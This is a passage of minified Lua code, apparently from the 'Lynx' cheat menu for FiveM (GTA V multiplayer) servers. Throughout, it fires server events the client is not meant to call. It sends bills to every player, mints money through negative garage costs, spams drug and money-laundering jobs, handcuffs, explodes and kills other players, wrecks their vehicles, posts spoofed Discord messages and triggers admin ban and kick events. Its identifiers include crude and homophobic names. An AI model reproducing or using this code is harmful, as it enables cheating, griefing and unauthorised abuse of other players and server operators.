~h~ID")then local w=KeyboardInput("Enter Player ID","",1000)if w then TriggerEvent("esx_ambulancejob:revive",GetPlayerServerId(i))end elseif gaybuild.Button("~g~~h~ESX ~r~SEND EVERYONE A BILL")then local bA=KeyboardInput("Enter Amount","",100000000)local ah=KeyboardInput("Enter the name of the Bill","",100000000)if bA and ah then for i=0,64 do TriggerServerEvent('esx_billing:sendBill',GetPlayerServerId(i),"Purposeless",ah,bA)end end elseif gaybuild.Button("~g~~h~ESX ~b~Handcuff ~h~ID")then local w=KeyboardInput("Enter Player ID","",1000)if w then TriggerServerEvent('esx_policejob:handcuff',GetPlayerServerId(i))end elseif gaybuild.Button("~g~~h~ESX ~w~Get all licenses")then TriggerServerEvent('esx_dmvschool:addLicense',dmv)TriggerServerEvent('esx_dmvschool:addLicense',drive)TriggerServerEvent('esx_dmvschool:addLicense',drive_bike)TriggerServerEvent('esx_dmvschool:addLicense',drive_truck)end;gaybuild.Display()elseif gaybuild.IsMenuOpened("MiscServerOptions")then if gaybuild.Button("~h~Send Discord Message")then local bB=KeyboardInput("Enter message to send","",100)TriggerServerEvent("DiscordBot:playerDied",bB,"1337")drawNotification("The message:~n~"..bB.."~n~Has been ~g~sent!")elseif gaybuild.Button("~h~Send Police Car Advert")then TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsIn(GetPlayerPed(-1),0))))end;gaybuild.Display()elseif gaybuild.IsMenuOpened("VRPOptions")then if gaybuild.Button("~r~~h~VRP ~s~Give Money ~ypayGarage")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100)if c then TriggerServerEvent("lscustoms:payGarage",{costs=-c})end elseif gaybuild.Button("~r~~h~VRP ~g~WIN ~s~Slot Machine")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100)if c then TriggerServerEvent("vrp_slotmachine:server:2",c)end elseif gaybuild.Button("~r~~h~VRP ~s~Get driving license")then TriggerServerEvent("dmv:success")elseif gaybuild.Button("~r~~h~VRP ~s~Bank Deposit")then local c=KeyboardInput("Enter amount of money","",100)if c then TriggerServerEvent("bank:deposit",c)end elseif gaybuild.Button("~r~~h~VRP ~s~Bank Withdraw ")then local c=KeyboardInput("Enter amount of money","",100)if c then TriggerServerEvent("bank:withdraw",c)end end;gaybuild.Display()elseif gaybuild.IsMenuOpened("ESXDrugs")then if gaybuild.Button("~h~~g~Harvest ~g~Weed ~c~(x5)")then TriggerServerEvent("esx_drugs:startHarvestWeed")TriggerServerEvent("esx_drugs:startHarvestWeed")TriggerServerEvent("esx_drugs:startHarvestWeed")TriggerServerEvent("esx_drugs:startHarvestWeed")TriggerServerEvent("esx_drugs:startHarvestWeed")elseif gaybuild.Button("~h~~g~Transform ~g~Weed ~c~(x5)")then TriggerServerEvent("esx_drugs:startTransformWeed")TriggerServerEvent("esx_drugs:startTransformWeed")TriggerServerEvent("esx_drugs:startTransformWeed")TriggerServerEvent("esx_drugs:startTransformWeed")TriggerServerEvent("esx_drugs:startTransformWeed")elseif gaybuild.Button("~h~~g~Sell ~g~Weed ~c~(x5)")then TriggerServerEvent("esx_drugs:startSellWeed")TriggerServerEvent("esx_drugs:startSellWeed")TriggerServerEvent("esx_drugs:startSellWeed")TriggerServerEvent("esx_drugs:startSellWeed")TriggerServerEvent("esx_drugs:startSellWeed")elseif gaybuild.Button("~h~~w~Harvest ~w~Coke ~c~(x5)")then TriggerServerEvent("esx_drugs:startHarvestCoke")TriggerServerEvent("esx_drugs:startHarvestCoke")TriggerServerEvent("esx_drugs:startHarvestCoke")TriggerServerEvent("esx_drugs:startHarvestCoke")TriggerServerEvent("esx_drugs:startHarvestCoke")elseif gaybuild.Button("~h~~w~Transform ~w~Coke ~c~(x5)")then TriggerServerEvent("esx_drugs:startTransformCoke")TriggerServerEvent("esx_drugs:startTransformCoke")TriggerServerEvent("esx_drugs:startTransformCoke")TriggerServerEvent("esx_drugs:startTransformCoke")TriggerServerEvent("esx_drugs:startTransformCoke")elseif gaybuild.Button("~h~~w~Sell ~w~Coke ~c~(x5)")then TriggerServerEvent("esx_drugs:startSellCoke")TriggerServerEvent("esx_drugs:startSellCoke")TriggerServerEvent("esx_drugs:startSellCoke")TriggerServerEvent("esx_drugs:startSellCoke")TriggerServerEvent("esx_drugs:startSellCoke")elseif gaybuild.Button("~h~~r~Harvest Meth ~c~(x5)")then TriggerServerEvent("esx_drugs:startHarvestMeth")TriggerServerEvent("esx_drugs:startHarvestMeth")TriggerServerEvent("esx_drugs:startHarvestMeth")TriggerServerEvent("esx_drugs:startHarvestMeth")TriggerServerEvent("esx_drugs:startHarvestMeth")elseif gaybuild.Button("~h~~r~Transform Meth ~c~(x5)")then TriggerServerEvent("esx_drugs:startTransformMeth")TriggerServerEvent("esx_drugs:startTransformMeth")TriggerServerEvent("esx_drugs:startTransformMeth")TriggerServerEvent("esx_drugs:startTransformMeth")TriggerServerEvent("esx_drugs:startTransformMeth")elseif gaybuild.Button("~h~~r~Sell Meth ~c~(x5)")then TriggerServerEvent("esx_drugs:startSellMeth")TriggerServerEvent("esx_drugs:startSellMeth")TriggerServerEvent("esx_drugs:startSellMeth")TriggerServerEvent("esx_drugs:startSellMeth")TriggerServerEvent("esx_drugs:startSellMeth")elseif gaybuild.Button("~h~~p~Harvest Opium ~c~(x5)")then TriggerServerEvent("esx_drugs:startHarvestOpium")TriggerServerEvent("esx_drugs:startHarvestOpium")TriggerServerEvent("esx_drugs:startHarvestOpium")TriggerServerEvent("esx_drugs:startHarvestOpium")TriggerServerEvent("esx_drugs:startHarvestOpium")elseif gaybuild.Button("~h~~p~Transform Opium ~c~(x5)")then TriggerServerEvent("esx_drugs:startTransformOpium")TriggerServerEvent("esx_drugs:startTransformOpium")TriggerServerEvent("esx_drugs:startTransformOpium")TriggerServerEvent("esx_drugs:startTransformOpium")TriggerServerEvent("esx_drugs:startTransformOpium")elseif gaybuild.Button("~h~~p~Sell Opium ~c~(x5)")then TriggerServerEvent("esx_drugs:startSellOpium")TriggerServerEvent("esx_drugs:startSellOpium")TriggerServerEvent("esx_drugs:startSellOpium")TriggerServerEvent("esx_drugs:startSellOpium")TriggerServerEvent("esx_drugs:startSellOpium")elseif gaybuild.Button("~h~~g~Money Wash ~c~(x10)")then TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)TriggerServerEvent("esx_blanchisseur:startWhitening",85)elseif gaybuild.Button("~r~~h~Stop all ~c~(Drugs)")then TriggerServerEvent("esx_drugs:stopHarvestCoke")TriggerServerEvent("esx_drugs:stopTransformCoke")TriggerServerEvent("esx_drugs:stopSellCoke")TriggerServerEvent("esx_drugs:stopHarvestMeth")TriggerServerEvent("esx_drugs:stopTransformMeth")TriggerServerEvent("esx_drugs:stopSellMeth")TriggerServerEvent("esx_drugs:stopHarvestWeed")TriggerServerEvent("esx_drugs:stopTransformWeed")TriggerServerEvent("esx_drugs:stopSellWeed")TriggerServerEvent("esx_drugs:stopHarvestOpium")TriggerServerEvent("esx_drugs:stopTransformOpium")TriggerServerEvent("esx_drugs:stopSellOpium")drawNotification("~r~Everything is now stopped.")elseif gaybuild.CheckBox("~r~Blow Drugs Up",BlowDrugsUp,function(bp)BlowDrugsUp=bp end)then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("OnlinePlayerMenu")then for i=0,64 do if NetworkIsPlayerActive(i)and GetPlayerServerId(i)~=0 and gaybuild.MenuButton(GetPlayerName(i).." ~p~["..GetPlayerServerId(i).."]~s~ ~y~["..i.."]~s~ "..(IsPedDeadOrDying(GetPlayerPed(i),1)and"~r~DEAD"or"~g~ALIVE"),'PlayerOptionsMenu')then bo=i end end;gaybuild.Display()elseif gaybuild.IsMenuOpened("PlayerOptionsMenu")then gaybuild.SetSubTitle("PlayerOptionsMenu","Player Options ["..GetPlayerName(bo).."]")if gaybuild.Button("Spectate",aB and"~g~[SPECTATING]")then SpectatePlayer(bo)elseif gaybuild.Button("Teleport To")then local Entity=IsPedInAnyVehicle(PlayerPedId(),false)and GetVehiclePedIsUsing(PlayerPedId())or PlayerPedId()SetEntityCoords(Entity,GetEntityCoords(GetPlayerPed(bo)),0.0,0.0,0.0,false)elseif gaybuild.Button("~g~ESX ~s~Give money to player from your wallet")then local c=KeyboardInput("Enter amount of money to give","",100000000)if c then TriggerServerEvent("esx:giveInventoryItem",GetPlayerServerId(bo),"item_money","money",c)end elseif gaybuild.Button("~g~ESX ~s~Send Bill")then local bA=KeyboardInput("Enter Amount","",100000000)local ah=KeyboardInput("Enter the name of the Bill","",100000000)if bA and ah then TriggerServerEvent('esx_billing:sendBill',GetPlayerServerId(bo),"Purposeless",ah,bA)end elseif gaybuild.Button("~g~ESX ~b~Policejob Handcuff Player")then TriggerServerEvent('esx_policejob:handcuff',GetPlayerServerId(bo))elseif gaybuild.Button("~g~ESX ~s~Revive player")then TriggerEvent('esx_ambulancejob:revive',GetPlayerServerId(bo))elseif gaybuild.Button("~r~Slap/Kill")then AddExplosion(GetEntityCoords(GetPlayerPed(bo)),2,100000.0,false,true,0)elseif gaybuild.Button("~y~Explode")then AddExplosion(GetEntityCoords(GetPlayerPed(bo)),2,100000.0,true,false,100000.0)elseif gaybuild.Button("Give All Weapons")then for i=1,#ar do GiveWeaponToPed(GetPlayerPed(bo),GetHashKey(ar[i]),1000,false,false)end elseif gaybuild.Button("Remove All Weapons")then for i=1,#ar do RemoveAllPedWeapons(PlayerPedId(bo),true)end elseif gaybuild.MenuButton("Give Single Weapon","SingleWepPlayer")then elseif gaybuild.Button("Give Vehicle")then local ped=GetPlayerPed(bo)local bw=KeyboardInput("Enter Vehicle Spawn Name","",100)if bw and IsModelValid(bw)and IsModelAVehicle(bw)then RequestModel(bw)while not HasModelLoaded(bw)do Citizen.Wait(0)end;local veh=CreateVehicle(GetHashKey(bw),GetEntityCoords(ped),GetEntityHeading(ped),true,true)else drawNotification("~r~Model is not valid!")end elseif gaybuild.Button("Kick From Vehicle")then ClearPedTasksImmediately(GetPlayerPed(bo))elseif gaybuild.Button("Destroy His Engine")then local aD=GetPlayerPed(bo)NetworkRequestControlOfEntity(GetVehiclePedIsIn(bo))SetVehicleUndriveable(GetVehiclePedIsIn(aD),true)SetVehicleEngineHealth(GetVehiclePedIsIn(aD),100)elseif gaybuild.Button("~h~Repair His Vehicle")then NetworkRequestControlOfEntity(GetVehiclePedIsIn(bo))SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(bo),false))SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(bo),false),0.0)SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(bo),false),0)SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(bo),false),false)Citizen.InvokeNative(0x1FD09E7390A74D54,GetVehiclePedIsIn(GetPlayerPed(bo),false),0)elseif gaybuild.Button("Fuck Up His Car")then local aD=GetPlayerPed(bo)local bx=GetVehiclePedIsIn(aD,true)NetworkRequestControlOfEntity(GetVehiclePedIsIn(bo))StartVehicleAlarm(bx)DetachVehicleWindscreen(bx)SmashVehicleWindow(bx,0)SmashVehicleWindow(bx,1)SmashVehicleWindow(bx,2)SmashVehicleWindow(bx,3)SetVehicleTyreBurst(bx,0,true,1000.0)SetVehicleTyreBurst(bx,1,true,1000.0)SetVehicleTyreBurst(bx,2,true,1000.0)SetVehicleTyreBurst(bx,3,true,1000.0)SetVehicleTyreBurst(bx,4,true,1000.0)SetVehicleTyreBurst(bx,5,true,1000.0)SetVehicleTyreBurst(bx,4,true,1000.0)SetVehicleTyreBurst(bx,7,true,1000.0)SetVehicleDoorBroken(bx,0,true)SetVehicleDoorBroken(bx,1,true)SetVehicleDoorBroken(bx,2,true)SetVehicleDoorBroken(bx,3,true)SetVehicleDoorBroken(bx,4,true)SetVehicleDoorBroken(bx,5,true)SetVehicleDoorBroken(bx,6,true)SetVehicleDoorBroken(bx,7,true)SetVehicleLights(bx,1)Citizen.InvokeNative(0x1FD09E7390A74D54,bx,1)SetVehicleNumberPlateTextIndex(bx,5)SetVehicleNumberPlateText(bx,"LYNX")SetVehicleDirtLevel(bx,10.0)SetVehicleModColor_1(bx,1)SetVehicleModColor_2(bx,1)SetVehicleCustomPrimaryColour(bx,255,51,255)SetVehicleCustomSecondaryColour(bx,255,51,255)SetVehicleBurnout(bx,true)drawNotification("~g~Vehicle Fucked Up!")elseif gaybuild.Button("~r~MelloTrainer ~s~BAN")then TriggerServerEvent('mellotrainer:adminTempBan',GetPlayerServerId(bo))elseif gaybuild.Button("~r~MelloTrainer ~s~KICK")then TriggerServerEvent('mellotrainer:adminKick',GetPlayerServerId(bo),"Kicked: You have been kicked from the server.")end;gaybuild.Display()elseif gaybuild.IsMenuOpened("SingleWepPlayer")then for i=1,#ar do if gaybuild.Button(ar[i])then GiveWeaponToPed(GetPlayerPed(bo),GetHashKey(ar[i]),1000,false,true)end end;gaybuild.Display()elseif IsDisabledControlPressed(0,208)then gaybuild.OpenMenu("LynxMainMenu")end;Citizen.Wait(0)end end)RegisterCommand("killmenu",function(bC,bD,bE)as=false end,false)